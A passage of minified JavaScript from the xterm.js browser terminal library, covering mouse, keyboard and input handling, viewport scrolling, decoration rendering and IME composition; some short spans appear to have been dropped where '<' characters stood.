events:",this.coreMouseService.explainEvents(e)),this.element.classList.add("enable-mouse-events"),this._selectionService.disable()):(this._logService.debug("Unbinding from mouse events."),this.element.classList.remove("enable-mouse-events"),this._selectionService.enable()),8&e?s.mousemove||(t.addEventListener("mousemove",n.mousemove),s.mousemove=n.mousemove):(t.removeEventListener("mousemove",s.mousemove),s.mousemove=null),16&e?s.wheel||(t.addEventListener("wheel",n.wheel,{passive:!1}),s.wheel=n.wheel):(t.removeEventListener("wheel",s.wheel),s.wheel=null),2&e?s.mouseup||(t.addEventListener("mouseup",n.mouseup),s.mouseup=n.mouseup):(this._document.removeEventListener("mouseup",s.mouseup),t.removeEventListener("mouseup",s.mouseup),s.mouseup=null),4&e?s.mousedrag||(s.mousedrag=n.mousedrag):(this._document.removeEventListener("mousemove",s.mousedrag),s.mousedrag=null)}))),this.coreMouseService.activeProtocol=this.coreMouseService.activeProtocol,this.register((0,r.addDisposableDomListener)(t,"mousedown",(e=>{if(e.preventDefault(),this.focus(),this.coreMouseService.areMouseEventsActive&&!this._selectionService.shouldForceSelection(e))return i(e),s.mouseup&&this._document.addEventListener("mouseup",s.mouseup),s.mousedrag&&this._document.addEventListener("mousemove",s.mousedrag),this.cancel(e)}))),this.register((0,r.addDisposableDomListener)(t,"wheel",(e=>{if(!s.wheel){if(!this.buffer.hasScrollback){const t=this.viewport.getLinesScrolled(e);if(0===t)return;const i=D.C0.ESC+(this.coreService.decPrivateModes.applicationCursorKeys?"O":"[")+(e.deltaY<0?"A":"B");let s="";for(let e=0;e{if(!this.coreMouseService.areMouseEventsActive)return this.viewport.handleTouchStart(e),this.cancel(e)}),{passive:!0})),this.register((0,r.addDisposableDomListener)(t,"touchmove",(e=>{if(!this.coreMouseService.areMouseEventsActive)return this.viewport.handleTouchMove(e)?void 0:this.cancel(e)}),{passive:!1}))}refresh(e,t){var i;null===(i=this._renderService)||void 0===i||i.refreshRows(e,t)}updateCursorStyle(e){var t;(null===(t=this._selectionService)||void 0===t?void 0:t.shouldColumnSelect(e))?this.element.classList.add("column-select"):this.element.classList.remove("column-select")}_showCursor(){this.coreService.isCursorInitialized||(this.coreService.isCursorInitialized=!0,this.refresh(this.buffer.y,this.buffer.y))}scrollLines(e,t,i=0){var s;1===i?(super.scrollLines(e,t,i),this.refresh(0,this.rows-1)):null===(s=this.viewport)||void 0===s||s.scrollLines(e)}paste(e){(0,s.paste)(e,this.textarea,this.coreService,this.optionsService)}attachCustomKeyEventHandler(e){this._customKeyEventHandler=e}registerLinkProvider(e){return this.linkifier2.registerLinkProvider(e)}registerCharacterJoiner(e){if(!this._characterJoinerService)throw new Error("Terminal must be opened first");const t=this._characterJoinerService.register(e);return this.refresh(0,this.rows-1),t}deregisterCharacterJoiner(e){if(!this._characterJoinerService)throw new Error("Terminal must be opened first");this._characterJoinerService.deregister(e)&&this.refresh(0,this.rows-1)}get markers(){return this.buffer.markers}registerMarker(e){return this.buffer.addMarker(this.buffer.ybase+this.buffer.y+e)}registerDecoration(e){return this._decorationService.registerDecoration(e)}hasSelection(){return!!this._selectionService&&this._selectionService.hasSelection}select(e,t,i){this._selectionService.setSelection(e,t,i)}getSelection(){return this._selectionService?this._selectionService.selectionText:""}getSelectionPosition(){if(this._selectionService&&this._selectionService.hasSelection)return{start:{x:this._selectionService.selectionStart[0],y:this._selectionService.selectionStart[1]},end:{x:this._selectionService.selectionEnd[0],y:this._selectionService.selectionEnd[1]}}}clearSelection(){var e;null===(e=this._selectionService)||void 0===e||e.clearSelection()}selectAll(){var e;null===(e=this._selectionService)||void 0===e||e.selectAll()}selectLines(e,t){var i;null===(i=this._selectionService)||void 0===i||i.selectLines(e,t)}_keyDown(e){if(this._keyDownHandled=!1,this._keyDownSeen=!0,this._customKeyEventHandler&&!1===this._customKeyEventHandler(e))return!1;const t=this.browser.isMac&&this.options.macOptionIsMeta&&e.altKey;if(!t&&!this._compositionHelper.keydown(e))return this.options.scrollOnUserInput&&this.buffer.ybase!==this.buffer.ydisp&&this.scrollToBottom(),!1;t||"Dead"!==e.key&&"AltGraph"!==e.key||(this._unprocessedDeadKey=!0);const i=(0,R.evaluateKeyboardEvent)(e,this.coreService.decPrivateModes.applicationCursorKeys,this.browser.isMac,this.options.macOptionIsMeta);if(this.updateCursorStyle(e),3===i.type||2===i.type){const t=this.rows-1;return this.scrollLines(2===i.type?-t:t),this.cancel(e,!0)}return 1===i.type&&this.selectAll(),!!this._isThirdLevelShift(this.browser,e)||(i.cancel&&this.cancel(e,!0),!i.key||!!(e.key&&!e.ctrlKey&&!e.altKey&&!e.metaKey&&1===e.key.length&&e.key.charCodeAt(0)>=65&&e.key.charCodeAt(0)<=90)||(this._unprocessedDeadKey?(this._unprocessedDeadKey=!1,!0):(i.key!==D.C0.ETX&&i.key!==D.C0.CR||(this.textarea.value=""),this._onKey.fire({key:i.key,domEvent:e}),this._showCursor(),this.coreService.triggerDataEvent(i.key,!0),!this.optionsService.rawOptions.screenReaderMode||e.altKey||e.ctrlKey?this.cancel(e,!0):void(this._keyDownHandled=!0))))}_isThirdLevelShift(e,t){const i=e.isMac&&!this.options.macOptionIsMeta&&t.altKey&&!t.ctrlKey&&!t.metaKey||e.isWindows&&t.altKey&&t.ctrlKey&&!t.metaKey||e.isWindows&&t.getModifierState("AltGraph");return"keypress"===t.type?i:i&&(!t.keyCode||t.keyCode>47)}_keyUp(e){this._keyDownSeen=!1,this._customKeyEventHandler&&!1===this._customKeyEventHandler(e)||(function(e){return 16===e.keyCode||17===e.keyCode||18===e.keyCode}(e)||this.focus(),this.updateCursorStyle(e),this._keyPressHandled=!1)}_keyPress(e){let t;if(this._keyPressHandled=!1,this._keyDownHandled)return!1;if(this._customKeyEventHandler&&!1===this._customKeyEventHandler(e))return!1;if(this.cancel(e),e.charCode)t=e.charCode;else if(null===e.which||void 0===e.which)t=e.keyCode;else{if(0===e.which||0===e.charCode)return!1;t=e.which}return!(!t||(e.altKey||e.ctrlKey||e.metaKey)&&!this._isThirdLevelShift(this.browser,e)||(t=String.fromCharCode(t),this._onKey.fire({key:t,domEvent:e}),this._showCursor(),this.coreService.triggerDataEvent(t,!0),this._keyPressHandled=!0,this._unprocessedDeadKey=!1,0))}_inputEvent(e){if(e.data&&"insertText"===e.inputType&&(!e.composed||!this._keyDownSeen)&&!this.optionsService.rawOptions.screenReaderMode){if(this._keyPressHandled)return!1;this._unprocessedDeadKey=!1;const t=e.data;return this.coreService.triggerDataEvent(t,!0),this.cancel(e),!0}return!1}resize(e,t){e!==this.cols||t!==this.rows?super.resize(e,t):this._charSizeService&&!this._charSizeService.hasValidSize&&this._charSizeService.measure()}_afterResize(e,t){var i,s;null===(i=this._charSizeService)||void 0===i||i.measure(),null===(s=this.viewport)||void 0===s||s.syncScrollArea(!0)}clear(){var e;if(0!==this.buffer.ybase||0!==this.buffer.y){this.buffer.clearAllMarkers(),this.buffer.lines.set(0,this.buffer.lines.get(this.buffer.ybase+this.buffer.y)),this.buffer.lines.length=1,this.buffer.ydisp=0,this.buffer.ybase=0,this.buffer.y=0;for(let e=1;e{Object.defineProperty(t,"__esModule",{value:!0}),t.TimeBasedDebouncer=void 0,t.TimeBasedDebouncer=class{constructor(e,t=1e3){this._renderCallback=e,this._debounceThresholdMS=t,this._lastRefreshMs=0,this._additionalRefreshRequested=!1}dispose(){this._refreshTimeoutID&&clearTimeout(this._refreshTimeoutID)}refresh(e,t,i){this._rowCount=i,e=void 0!==e?e:0,t=void 0!==t?t:this._rowCount-1,this._rowStart=void 0!==this._rowStart?Math.min(this._rowStart,e):e,this._rowEnd=void 0!==this._rowEnd?Math.max(this._rowEnd,t):t;const s=Date.now();if(s-this._lastRefreshMs>=this._debounceThresholdMS)this._lastRefreshMs=s,this._innerRefresh();else if(!this._additionalRefreshRequested){const e=s-this._lastRefreshMs,t=this._debounceThresholdMS-e;this._additionalRefreshRequested=!0,this._refreshTimeoutID=window.setTimeout((()=>{this._lastRefreshMs=Date.now(),this._innerRefresh(),this._additionalRefreshRequested=!1,this._refreshTimeoutID=void 0}),t)}}_innerRefresh(){if(void 0===this._rowStart||void 0===this._rowEnd||void 0===this._rowCount)return;const e=Math.max(this._rowStart,0),t=Math.min(this._rowEnd,this._rowCount-1);this._rowStart=void 0,this._rowEnd=void 0,this._renderCallback(e,t)}}},1680:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.Viewport=void 0;const n=i(3656),o=i(4725),a=i(8460),h=i(844),c=i(2585);let l=t.Viewport=class extends h.Disposable{constructor(e,t,i,s,r,o,h,c){super(),this._viewportElement=e,this._scrollArea=t,this._bufferService=i,this._optionsService=s,this._charSizeService=r,this._renderService=o,this._coreBrowserService=h,this.scrollBarWidth=0,this._currentRowHeight=0,this._currentDeviceCellHeight=0,this._lastRecordedBufferLength=0,this._lastRecordedViewportHeight=0,this._lastRecordedBufferHeight=0,this._lastTouchY=0,this._lastScrollTop=0,this._wheelPartialScroll=0,this._refreshAnimationFrame=null,this._ignoreNextScrollEvent=!1,this._smoothScrollState={startTime:0,origin:-1,target:-1},this._onRequestScrollLines=this.register(new a.EventEmitter),this.onRequestScrollLines=this._onRequestScrollLines.event,this.scrollBarWidth=this._viewportElement.offsetWidth-this._scrollArea.offsetWidth||15,this.register((0,n.addDisposableDomListener)(this._viewportElement,"scroll",this._handleScroll.bind(this))),this._activeBuffer=this._bufferService.buffer,this.register(this._bufferService.buffers.onBufferActivate((e=>this._activeBuffer=e.activeBuffer))),this._renderDimensions=this._renderService.dimensions,this.register(this._renderService.onDimensionsChange((e=>this._renderDimensions=e))),this._handleThemeChange(c.colors),this.register(c.onChangeColors((e=>this._handleThemeChange(e)))),this.register(this._optionsService.onSpecificOptionChange("scrollback",(()=>this.syncScrollArea()))),setTimeout((()=>this.syncScrollArea()))}_handleThemeChange(e){this._viewportElement.style.backgroundColor=e.background.css}reset(){this._currentRowHeight=0,this._currentDeviceCellHeight=0,this._lastRecordedBufferLength=0,this._lastRecordedViewportHeight=0,this._lastRecordedBufferHeight=0,this._lastTouchY=0,this._lastScrollTop=0,this._coreBrowserService.window.requestAnimationFrame((()=>this.syncScrollArea()))}_refresh(e){if(e)return this._innerRefresh(),void(null!==this._refreshAnimationFrame&&this._coreBrowserService.window.cancelAnimationFrame(this._refreshAnimationFrame));null===this._refreshAnimationFrame&&(this._refreshAnimationFrame=this._coreBrowserService.window.requestAnimationFrame((()=>this._innerRefresh())))}_innerRefresh(){if(this._charSizeService.height>0){this._currentRowHeight=this._renderService.dimensions.device.cell.height/this._coreBrowserService.dpr,this._currentDeviceCellHeight=this._renderService.dimensions.device.cell.height,this._lastRecordedViewportHeight=this._viewportElement.offsetHeight;const e=Math.round(this._currentRowHeight*this._lastRecordedBufferLength)+(this._lastRecordedViewportHeight-this._renderService.dimensions.css.canvas.height);this._lastRecordedBufferHeight!==e&&(this._lastRecordedBufferHeight=e,this._scrollArea.style.height=this._lastRecordedBufferHeight+"px")}const e=this._bufferService.buffer.ydisp*this._currentRowHeight;this._viewportElement.scrollTop!==e&&(this._ignoreNextScrollEvent=!0,this._viewportElement.scrollTop=e),this._refreshAnimationFrame=null}syncScrollArea(e=!1){if(this._lastRecordedBufferLength!==this._bufferService.buffer.lines.length)return this._lastRecordedBufferLength=this._bufferService.buffer.lines.length,void this._refresh(e);this._lastRecordedViewportHeight===this._renderService.dimensions.css.canvas.height&&this._lastScrollTop===this._activeBuffer.ydisp*this._currentRowHeight&&this._renderDimensions.device.cell.height===this._currentDeviceCellHeight||this._refresh(e)}_handleScroll(e){if(this._lastScrollTop=this._viewportElement.scrollTop,!this._viewportElement.offsetParent)return;if(this._ignoreNextScrollEvent)return this._ignoreNextScrollEvent=!1,void this._onRequestScrollLines.fire({amount:0,suppressScrollEvent:!0});const t=Math.round(this._lastScrollTop/this._currentRowHeight)-this._bufferService.buffer.ydisp;this._onRequestScrollLines.fire({amount:t,suppressScrollEvent:!0})}_smoothScroll(){if(this._isDisposed||-1===this._smoothScrollState.origin||-1===this._smoothScrollState.target)return;const e=this._smoothScrollPercent();this._viewportElement.scrollTop=this._smoothScrollState.origin+Math.round(e*(this._smoothScrollState.target-this._smoothScrollState.origin)),e<1?this._coreBrowserService.window.requestAnimationFrame((()=>this._smoothScroll())):this._clearSmoothScrollState()}_smoothScrollPercent(){return this._optionsService.rawOptions.smoothScrollDuration&&this._smoothScrollState.startTime?Math.max(Math.min((Date.now()-this._smoothScrollState.startTime)/this._optionsService.rawOptions.smoothScrollDuration,1),0):1}_clearSmoothScrollState(){this._smoothScrollState.startTime=0,this._smoothScrollState.origin=-1,this._smoothScrollState.target=-1}_bubbleScroll(e,t){const i=this._viewportElement.scrollTop+this._lastRecordedViewportHeight;return!(t<0&&0!==this._viewportElement.scrollTop||t>0&&i0&&(s=e),r=""}}return{bufferElements:n,cursorElement:s}}getLinesScrolled(e){if(0===e.deltaY||e.shiftKey)return 0;let t=this._applyScrollModifier(e.deltaY,e);return e.deltaMode===WheelEvent.DOM_DELTA_PIXEL?(t/=this._currentRowHeight+0,this._wheelPartialScroll+=t,t=Math.floor(Math.abs(this._wheelPartialScroll))*(this._wheelPartialScroll>0?1:-1),this._wheelPartialScroll%=1):e.deltaMode===WheelEvent.DOM_DELTA_PAGE&&(t*=this._bufferService.rows),t}_applyScrollModifier(e,t){const i=this._optionsService.rawOptions.fastScrollModifier;return"alt"===i&&t.altKey||"ctrl"===i&&t.ctrlKey||"shift"===i&&t.shiftKey?e*this._optionsService.rawOptions.fastScrollSensitivity*this._optionsService.rawOptions.scrollSensitivity:e*this._optionsService.rawOptions.scrollSensitivity}handleTouchStart(e){this._lastTouchY=e.touches[0].pageY}handleTouchMove(e){const t=this._lastTouchY-e.touches[0].pageY;return this._lastTouchY=e.touches[0].pageY,0!==t&&(this._viewportElement.scrollTop+=t,this._bubbleScroll(e,t))}};t.Viewport=l=s([r(2,c.IBufferService),r(3,c.IOptionsService),r(4,o.ICharSizeService),r(5,o.IRenderService),r(6,o.ICoreBrowserService),r(7,o.IThemeService)],l)},3107:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.BufferDecorationRenderer=void 0;const n=i(3656),o=i(4725),a=i(844),h=i(2585);let c=t.BufferDecorationRenderer=class extends a.Disposable{constructor(e,t,i,s){super(),this._screenElement=e,this._bufferService=t,this._decorationService=i,this._renderService=s,this._decorationElements=new Map,this._altBufferIsActive=!1,this._dimensionsChanged=!1,this._container=document.createElement("div"),this._container.classList.add("xterm-decoration-container"),this._screenElement.appendChild(this._container),this.register(this._renderService.onRenderedViewportChange((()=>this._doRefreshDecorations()))),this.register(this._renderService.onDimensionsChange((()=>{this._dimensionsChanged=!0,this._queueRefresh()}))),this.register((0,n.addDisposableDomListener)(window,"resize",(()=>this._queueRefresh()))),this.register(this._bufferService.buffers.onBufferActivate((()=>{this._altBufferIsActive=this._bufferService.buffer===this._bufferService.buffers.alt}))),this.register(this._decorationService.onDecorationRegistered((()=>this._queueRefresh()))),this.register(this._decorationService.onDecorationRemoved((e=>this._removeDecoration(e)))),this.register((0,a.toDisposable)((()=>{this._container.remove(),this._decorationElements.clear()})))}_queueRefresh(){void 0===this._animationFrame&&(this._animationFrame=this._renderService.addRefreshCallback((()=>{this._doRefreshDecorations(),this._animationFrame=void 0})))}_doRefreshDecorations(){for(const e of this._decorationService.decorations)this._renderDecoration(e);this._dimensionsChanged=!1}_renderDecoration(e){this._refreshStyle(e),this._dimensionsChanged&&this._refreshXPosition(e)}_createElement(e){var t,i;const s=document.createElement("div");s.classList.add("xterm-decoration"),s.classList.toggle("xterm-decoration-top-layer","top"===(null===(t=null==e?void 0:e.options)||void 0===t?void 0:t.layer)),s.style.width=`${Math.round((e.options.width||1)*this._renderService.dimensions.css.cell.width)}px`,s.style.height=(e.options.height||1)*this._renderService.dimensions.css.cell.height+"px",s.style.top=(e.marker.line-this._bufferService.buffers.active.ydisp)*this._renderService.dimensions.css.cell.height+"px",s.style.lineHeight=`${this._renderService.dimensions.css.cell.height}px`;const r=null!==(i=e.options.x)&&void 0!==i?i:0;return r&&r>this._bufferService.cols&&(s.style.display="none"),this._refreshXPosition(e,s),s}_refreshStyle(e){const t=e.marker.line-this._bufferService.buffers.active.ydisp;if(t<0||t>=this._bufferService.rows)e.element&&(e.element.style.display="none",e.onRenderEmitter.fire(e.element));else{let i=this._decorationElements.get(e);i||(i=this._createElement(e),e.element=i,this._decorationElements.set(e,i),this._container.appendChild(i),e.onDispose((()=>{this._decorationElements.delete(e),i.remove()}))),i.style.top=t*this._renderService.dimensions.css.cell.height+"px",i.style.display=this._altBufferIsActive?"none":"block",e.onRenderEmitter.fire(i)}}_refreshXPosition(e,t=e.element){var i;if(!t)return;const s=null!==(i=e.options.x)&&void 0!==i?i:0;"right"===(e.options.anchor||"left")?t.style.right=s?s*this._renderService.dimensions.css.cell.width+"px":"":t.style.left=s?s*this._renderService.dimensions.css.cell.width+"px":""}_removeDecoration(e){var t;null===(t=this._decorationElements.get(e))||void 0===t||t.remove(),this._decorationElements.delete(e),e.dispose()}};t.BufferDecorationRenderer=c=s([r(1,h.IBufferService),r(2,h.IDecorationService),r(3,o.IRenderService)],c)},5871:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.ColorZoneStore=void 0,t.ColorZoneStore=class{constructor(){this._zones=[],this._zonePool=[],this._zonePoolIndex=0,this._linePadding={full:0,left:0,center:0,right:0}}get zones(){return this._zonePool.length=Math.min(this._zonePool.length,this._zones.length),this._zones}clear(){this._zones.length=0,this._zonePoolIndex=0}addDecoration(e){if(e.options.overviewRulerOptions){for(const t of this._zones)if(t.color===e.options.overviewRulerOptions.color&&t.position===e.options.overviewRulerOptions.position){if(this._lineIntersectsZone(t,e.marker.line))return;if(this._lineAdjacentToZone(t,e.marker.line,e.options.overviewRulerOptions.position))return void this._addLineToZone(t,e.marker.line)}if(this._zonePoolIndex=e.startBufferLine&&t<=e.endBufferLine}_lineAdjacentToZone(e,t,i){return t>=e.startBufferLine-this._linePadding[i||"full"]&&t<=e.endBufferLine+this._linePadding[i||"full"]}_addLineToZone(e,t){e.startBufferLine=Math.min(e.startBufferLine,t),e.endBufferLine=Math.max(e.endBufferLine,t)}}},5744:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.OverviewRulerRenderer=void 0;const n=i(5871),o=i(3656),a=i(4725),h=i(844),c=i(2585),l={full:0,left:0,center:0,right:0},d={full:0,left:0,center:0,right:0},_={full:0,left:0,center:0,right:0};let u=t.OverviewRulerRenderer=class extends h.Disposable{get _width(){return this._optionsService.options.overviewRulerWidth||0}constructor(e,t,i,s,r,o,a){var c;super(),this._viewportElement=e,this._screenElement=t,this._bufferService=i,this._decorationService=s,this._renderService=r,this._optionsService=o,this._coreBrowseService=a,this._colorZoneStore=new n.ColorZoneStore,this._shouldUpdateDimensions=!0,this._shouldUpdateAnchor=!0,this._lastKnownBufferLength=0,this._canvas=document.createElement("canvas"),this._canvas.classList.add("xterm-decoration-overview-ruler"),this._refreshCanvasDimensions(),null===(c=this._viewportElement.parentElement)||void 0===c||c.insertBefore(this._canvas,this._viewportElement);const l=this._canvas.getContext("2d");if(!l)throw new Error("Ctx cannot be null");this._ctx=l,this._registerDecorationListeners(),this._registerBufferChangeListeners(),this._registerDimensionChangeListeners(),this.register((0,h.toDisposable)((()=>{var e;null===(e=this._canvas)||void 0===e||e.remove()})))}_registerDecorationListeners(){this.register(this._decorationService.onDecorationRegistered((()=>this._queueRefresh(void 0,!0)))),this.register(this._decorationService.onDecorationRemoved((()=>this._queueRefresh(void 0,!0))))}_registerBufferChangeListeners(){this.register(this._renderService.onRenderedViewportChange((()=>this._queueRefresh()))),this.register(this._bufferService.buffers.onBufferActivate((()=>{this._canvas.style.display=this._bufferService.buffer===this._bufferService.buffers.alt?"none":"block"}))),this.register(this._bufferService.onScroll((()=>{this._lastKnownBufferLength!==this._bufferService.buffers.normal.lines.length&&(this._refreshDrawHeightConstants(),this._refreshColorZonePadding())})))}_registerDimensionChangeListeners(){this.register(this._renderService.onRender((()=>{this._containerHeight&&this._containerHeight===this._screenElement.clientHeight||(this._queueRefresh(!0),this._containerHeight=this._screenElement.clientHeight)}))),this.register(this._optionsService.onSpecificOptionChange("overviewRulerWidth",(()=>this._queueRefresh(!0)))),this.register((0,o.addDisposableDomListener)(this._coreBrowseService.window,"resize",(()=>this._queueRefresh(!0)))),this._queueRefresh(!0)}_refreshDrawConstants(){const e=Math.floor(this._canvas.width/3),t=Math.ceil(this._canvas.width/3);d.full=this._canvas.width,d.left=e,d.center=t,d.right=e,this._refreshDrawHeightConstants(),_.full=0,_.left=0,_.center=d.left,_.right=d.left+d.center}_refreshDrawHeightConstants(){l.full=Math.round(2*this._coreBrowseService.dpr);const e=this._canvas.height/this._bufferService.buffer.lines.length,t=Math.round(Math.max(Math.min(e,12),6)*this._coreBrowseService.dpr);l.left=t,l.center=t,l.right=t}_refreshColorZonePadding(){this._colorZoneStore.setPadding({full:Math.floor(this._bufferService.buffers.active.lines.length/(this._canvas.height-1)*l.full),left:Math.floor(this._bufferService.buffers.active.lines.length/(this._canvas.height-1)*l.left),center:Math.floor(this._bufferService.buffers.active.lines.length/(this._canvas.height-1)*l.center),right:Math.floor(this._bufferService.buffers.active.lines.length/(this._canvas.height-1)*l.right)}),this._lastKnownBufferLength=this._bufferService.buffers.normal.lines.length}_refreshCanvasDimensions(){this._canvas.style.width=`${this._width}px`,this._canvas.width=Math.round(this._width*this._coreBrowseService.dpr),this._canvas.style.height=`${this._screenElement.clientHeight}px`,this._canvas.height=Math.round(this._screenElement.clientHeight*this._coreBrowseService.dpr),this._refreshDrawConstants(),this._refreshColorZonePadding()}_refreshDecorations(){this._shouldUpdateDimensions&&this._refreshCanvasDimensions(),this._ctx.clearRect(0,0,this._canvas.width,this._canvas.height),this._colorZoneStore.clear();for(const e of this._decorationService.decorations)this._colorZoneStore.addDecoration(e);this._ctx.lineWidth=1;const e=this._colorZoneStore.zones;for(const t of e)"full"!==t.position&&this._renderColorZone(t);for(const t of e)"full"===t.position&&this._renderColorZone(t);this._shouldUpdateDimensions=!1,this._shouldUpdateAnchor=!1}_renderColorZone(e){this._ctx.fillStyle=e.color,this._ctx.fillRect(_[e.position||"full"],Math.round((this._canvas.height-1)*(e.startBufferLine/this._bufferService.buffers.active.lines.length)-l[e.position||"full"]/2),d[e.position||"full"],Math.round((this._canvas.height-1)*((e.endBufferLine-e.startBufferLine)/this._bufferService.buffers.active.lines.length)+l[e.position||"full"]))}_queueRefresh(e,t){this._shouldUpdateDimensions=e||this._shouldUpdateDimensions,this._shouldUpdateAnchor=t||this._shouldUpdateAnchor,void 0===this._animationFrame&&(this._animationFrame=this._coreBrowseService.window.requestAnimationFrame((()=>{this._refreshDecorations(),this._animationFrame=void 0})))}};t.OverviewRulerRenderer=u=s([r(2,c.IBufferService),r(3,c.IDecorationService),r(4,a.IRenderService),r(5,c.IOptionsService),r(6,a.ICoreBrowserService)],u)},2950:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.CompositionHelper=void 0;const n=i(4725),o=i(2585),a=i(2584);let h=t.CompositionHelper=class{get isComposing(){return this._isComposing}constructor(e,t,i,s,r,n){this._textarea=e,this._compositionView=t,this._bufferService=i,this._optionsService=s,this._coreService=r,this._renderService=n,this._isComposing=!1,this._isSendingComposition=!1,this._compositionPosition={start:0,end:0},this._dataAlreadySent=""}compositionstart(){this._isComposing=!0,this._compositionPosition.start=this._textarea.value.length,this._compositionView.textContent="",this._dataAlreadySent="",this._compositionView.classList.add("active")}compositionupdate(e){this._compositionView.textContent=e.data,this.updateCompositionElements(),setTimeout((()=>{this._compositionPosition.end=this._textarea.value.length}),0)}compositionend(){this._finalizeComposition(!0)}keydown(e){if(this._isComposing||this._isSendingComposition){if(229===e.keyCode)return!1;if(16===e.keyCode||17===e.keyCode||18===e.keyCode)return!1;this._finalizeComposition(!1)}return 229!==e.keyCode||(this._handleAnyTextareaChanges(),!1)}_finalizeComposition(e){if(this._compositionView.classList.remove("active"),this._isComposing=!1,e){const e={start:this._compositionPosition.start,end:this._compositionPosition.end};this._isSendingComposition=!0,setTimeout((()=>{if(this._isSendingComposition){let t;this._isSendingComposition=!1,e.start+=this._dataAlreadySent.length,t=this._isComposing?this._textarea.value.substring(e.start,e.end):this._textarea.value.substring(e.start),t.length>0&&this._coreService.triggerDataEvent(t,!0)}}),0)}else{this._isSendingComposition=!1;const e=this._textarea.value.substring(this._compositionPosition.start,this._compositionPosition.end);this._coreService.triggerDataEvent(e,!0)}}_handleAnyTextareaChanges(){const e=this._textarea.value;setTimeout((()=>{if(!this._isComposing){const t=this._textarea.value,i=t.replace(e,"");this._dataAlreadySent=i,t.length>e.length?this._coreService.triggerDataEvent(i,!0):t.lengththis.updateCompositionElements(!0)),0)}}};t.CompositionHelper=h=s([r(2,o.IBufferService),r(3,o.IOptionsService),r(4,o.ICoreService),r(5,n.IRenderService)],h)},9806:(e,t)=>{function i(e,t,i){const s=i.getBoundingClientRect(),r=e.getComputedStyle(i),n=parseInt(r.getPropertyValue("padding-left")),o=parseInt(r.getPropertyValue("padding-top"));return[t.clientX-s.left-n,t.clientY-s.top-o]}Object.defineProperty(t,"__esModule",{value:!0}),t.getCoords=t.getCoordsRelativeToElement=void 0,t.getCoordsRelativeToElement=i,t.getCoords=function(e,t,s,r,n,o,a,h,c){if(!o)return;const l=i(e,t,s);return l?(l[0]=Math.ceil((l[0]+(c?a/2:0))/a),l[1]=Math.ceil(l[1]/h),l[0]=Math.min(Math.max(l[0],1),r+(c?1:0)),l[1]=Math.min(Math.max(l[1],1),n),l):void 0}},9504:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.moveToCellSequence=void 0;const s=i(2584);function r(e,t,i,s){const r=e-n(e,i),a=t-n(t,i),l=Math.abs(r-a)-function(e,t,i){let s=0;const r=e-n(e,i),a=t-n(t,i);for(let n=0;n=0&&et?"A":"B"}function a(e,t,i,s,r,n){let o=e,a=t,h="";for(;o!==i||a!==s;)o+=r?1:-1,r&&o>n.cols-1?(h+=n.buffer.translateBufferLineToString(a,!1,e,o),o=0,e=0,a++):!r&&o<0&&(h+=n.buffer.translateBufferLineToString(a,!1,0,e+1),o=n.cols-1,e=o,a--);return h+n.buffer.translateBufferLineToString(a,!1,e,o)}function h(e,t){const i=t?"O":"[";return s.C0.ESC+i+e}function c(e,t){e=Math.floor(e);let i="";for(let s=0;s0?s-n(s,o):t;const _=s,u=function(e,t,i,s,o,a){let h;return h=r(i,s,o,a).length>0?s-n(s,o):t,e=i&&he?"D":"C",c(Math.abs(o-e),h(d,s));d=l>t?"D":"C";const _=Math.abs(l-t);return c(function(e,t){return t.cols-e}(l>t?e:o,i)+(_-1)*i.cols+1+((l>t?o:e)-1),h(d,s))}},1296:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.DomRenderer=void 0;const n=i(3787),o=i(2550),a=i(2223),h=i(6171),c=i(4725),l=i(8055),d=i(8460),_=i(844),u=i(2585),f="xterm-dom-renderer-owner-",v="xterm-rows",p="xterm-fg-",g="xterm-bg-",m="xterm-focus",S="xterm-selection";let C=1,b=t.DomRenderer=class extends 